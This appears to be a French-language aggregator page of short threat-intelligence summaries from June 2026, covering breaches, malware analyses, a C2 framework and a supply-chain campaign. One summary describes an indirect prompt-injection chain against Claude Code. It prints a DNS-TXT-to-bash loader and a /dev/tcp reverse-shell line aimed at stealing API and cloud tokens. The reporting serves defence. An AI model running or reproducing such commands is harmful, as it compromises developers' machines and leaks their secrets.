TTP

🔍 Contexte Publié le 25 juin 2026 par les chercheurs Eddy Tsalolikhin et Or Peles de JFrog Security Research, cet article présente une analyse technique approfondie de DirtyClone, une nouvelle variante de la famille de vulnérabilités DirtyFrag affectant le noyau Linux. La vulnérabilité est référencée CVE-2026-43503 (CVSS 8.8, sévérité haute). 🧬 Famille de vulnérabilités DirtyFrag DirtyFrag est une famille de vulnérabilités de corruption mémoire dans la pile réseau du noyau Linux, exploitant l’intersection entre : ...

🔍 Contexte Publié le 19 juin 2026 par SpyCloud Labs, cet article présente une analyse technique approfondie de l’infrastructure opérationnelle du groupe à l’origine du dataset « FortiBleed », initialement découvert par le chercheur Volodymyr « Bob » Diachenko. SpyCloud a obtenu une copie des données et les a analysées contre son schéma de brèches. 🎯 Nature de la campagne La campagne, active depuis le 19 mai 2026, est opérée par un courtier d’accès initial (IAB) russophone utilisant des techniques de mass-scanning et brute-force (spray-and-pray) contre des équipements exposés sur Internet : ...

🔍 Contexte Publié le 25 juin 2026 par Andre Hall & Miller Engelbrecht sur le blog de 0DIN (plateforme de bug bounty IA de Mozilla), cet article présente une démonstration technique d’une attaque par injection de prompt indirecte ciblant les outils de développement agentiques, en particulier Claude Code d’Anthropic. ⚙️ Mécanisme de l’attaque L’attaque repose sur trois composants enchaînés, chacun individuellement bénin : Un dépôt GitHub normal : un fichier README ou issue décrit une procédure d’initialisation standard (pip3 install -r requirements.txt puis python3 -m axiom init). Un package Python qui échoue intentionnellement : le module axiom lève une RuntimeError s’il n’est pas initialisé, incitant l’agent à exécuter python3 -m axiom init comme correction de routine. Un script d’initialisation qui résout un enregistrement DNS TXT : scripts/setup.sh exécute dig +short TXT _axiom-config.m100.cloud @1.1.1.1 et passe le résultat à bash -c. L’enregistrement DNS contient un reverse shell encodé en base64 (bash -i >& /dev/tcp/<attacker-host>/4443 0>&1). 💥 Impact Shell interactif s’exécutant avec les droits de l’utilisateur développeur Exfiltration de secrets d’environnement : ANTHROPIC_API_KEY, AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN Possibilité de persistance (clé SSH, cron job, backdoor) Le payload est invisible : absent du dépôt, non détectable par les scanners statiques, jamais évalué par l’agent avant exécution Le payload peut être modifié à tout moment en éditant l’enregistrement DNS, sans aucun commit 🎯 Vecteur de diffusion Un simple lien vers le dépôt partagé dans une offre d’emploi, un tutoriel ou un message Slack suffit à compromettre tout développeur ouvrant le projet avec Claude Code. ...

📰 Source : BleepingComputer — Date de publication : 28 juin 2026 Contexte KDDI Corporation, l’un des plus grands opérateurs télécom japonais (45 000 employés, 32,4 milliards USD de revenus annuels), a divulgué une violation de données affectant un système email centralisé utilisé par cinq fournisseurs d’accès à Internet (FAI) partenaires. Déroulement de l’incident La compromission a été découverte le 17 juin par KDDI. Les attaquants ont exploité une vulnérabilité dans un logiciel tiers non nommé déployé sur le système KDDI. KDDI a immédiatement bloqué l’accès non autorisé et mis en place des mesures défensives. Les autorités compétentes ont été notifiées : Personal Information Protection Commission et Ministry of Internal Affairs and Communications. Périmètre d’impact Les cinq FAI affectés sont : ...

🔍 Contexte Publié le 29 juin 2026 sur GitHub par l’utilisateur 28Zaaky, le dépôt khaos-c2 présente KHAØS, un framework de command-and-control (C2) post-exploitation open-source sous licence MIT. Le projet compte 109 étoiles et 19 forks au moment de la publication. Le code est principalement écrit en C (91,6%), avec des composants JavaScript, Python et PowerShell. 🎯 Description du framework KHAØS est conçu pour contourner les solutions EDR en s’appuyant sur plusieurs mécanismes d’évasion : ...

📰 Source : TechCrunch, article de Lorenzo Franceschi-Bicchierai publié le 25 juin 2026. L’article rapporte les développements post-incident concernant la violation de données subie par Klue, fournisseur de market intelligence. 🗓️ Chronologie de l’incident 12 juin 2026 : intrusion dans les systèmes de Klue Lundi (date non précisée) : Klue confirme publiquement la violation Mercredi soir : mise à jour privée envoyée aux clients Jeudi matin : site du groupe Icarus hors ligne 🎯 Vecteur d’attaque initial Les attaquants ont utilisé un credential tiers datant de 2022, issu d’un pilote limité et jamais révoqué. Ce credential a permis d’accéder aux systèmes de Klue, puis de dérober des tokens d’authentification OAuth pour s’introduire dans les clouds et bases de données des clients. ...

🔍 Contexte Publié le 25 juin 2026 par Group-IB (blog officiel), cet article présente une analyse technique approfondie du Millenium RAT version 4.*, un cheval de Troie d’accès à distance (RAT) initialement documenté par CYFIRMA en novembre 2023 (version 2.4). L’analyse couvre l’évolution architecturale du malware, son modèle de distribution, les campagnes actives et la victimologie mondiale. 🏗️ Évolution architecturale majeure La version 4.* marque un changement architectural critique : le malware abandonne le framework .NET au profit d’une application native C++, supprimant toute dépendance au runtime .NET. La communication C2 repose exclusivement sur l’API Telegram Bot via libcurl, sans infrastructure serveur dédiée. La configuration est chargée depuis une ressource PE embarquée (RCDATA), encodée en Base64 et chiffrée via un algorithme XOR personnalisé avec mot de passe intégré dans le PE. ...

🔍 Contexte Publié le 17 juin 2026 par Serhii Melnyk (LevelBlue SpiderLabs), cet article présente une analyse technique approfondie de deux preuves de concept (PoC) publiées sous les alias Nightmare-Eclipse / MSNightmare, peu après le Patch Tuesday de juin 2026 de Microsoft. 🚀 RoguePlanet : Élévation de privilèges locale via Microsoft Defender RoguePlanet est une technique d’élévation de privilèges locale (LPE) permettant à un utilisateur standard d’obtenir une exécution en contexte SYSTEM sans exploitation noyau ni corruption mémoire. Elle repose sur une chaîne en 7 étapes orchestrant des composants Windows légitimes : ...

🔍 Contexte Publié le 25 juin 2026 par Yair Benamou (JFrog Security Research), cet article documente une nouvelle vague de la campagne Shai-Hulud, désignée Hades, ciblant l’écosystème npm Leo/RStreams — une plateforme de streaming d’événements AWS-native utilisée dans des pipelines serverless et CI/CD. 🎯 Packages ciblés 20 packages npm légitimes ont été compromis, dont : leo-sdk, leo-auth, leo-aws, leo-logger, leo-config rstreams-metrics, rstreams-shard-util serverless-leo, serverless-convention Packages @immobiliarelabs/backstage-plugin-gitlab-backend, @immobiliarelabs/backstage-plugin-gitlab, @immobiliarelabs/backstage-plugin-ldap-auth-backend, @immobiliarelabs/backstage-plugin-ldap-auth Ces packages totalisaient environ ~127K téléchargements dans le mois précédant l’analyse. ...

🗓️ Contexte Source : HaveIBeenPwned (haveibeenpwned.com/Breach/Sysco), publié le 28 juin 2026. L’incident concerne Sysco, une entreprise américaine de distribution alimentaire. 🎯 Nature de l’attaque Sysco a été ciblée par une campagne d’extorsion de type « pay or leak » orchestrée par le groupe ShinyHunters. Face au refus ou à l’absence de paiement, les données ont été publiées publiquement. 📊 Données exposées La fuite contient 2,7 millions d’adresses email uniques appartenant à des employés et des clients. Les données publiées incluent : ...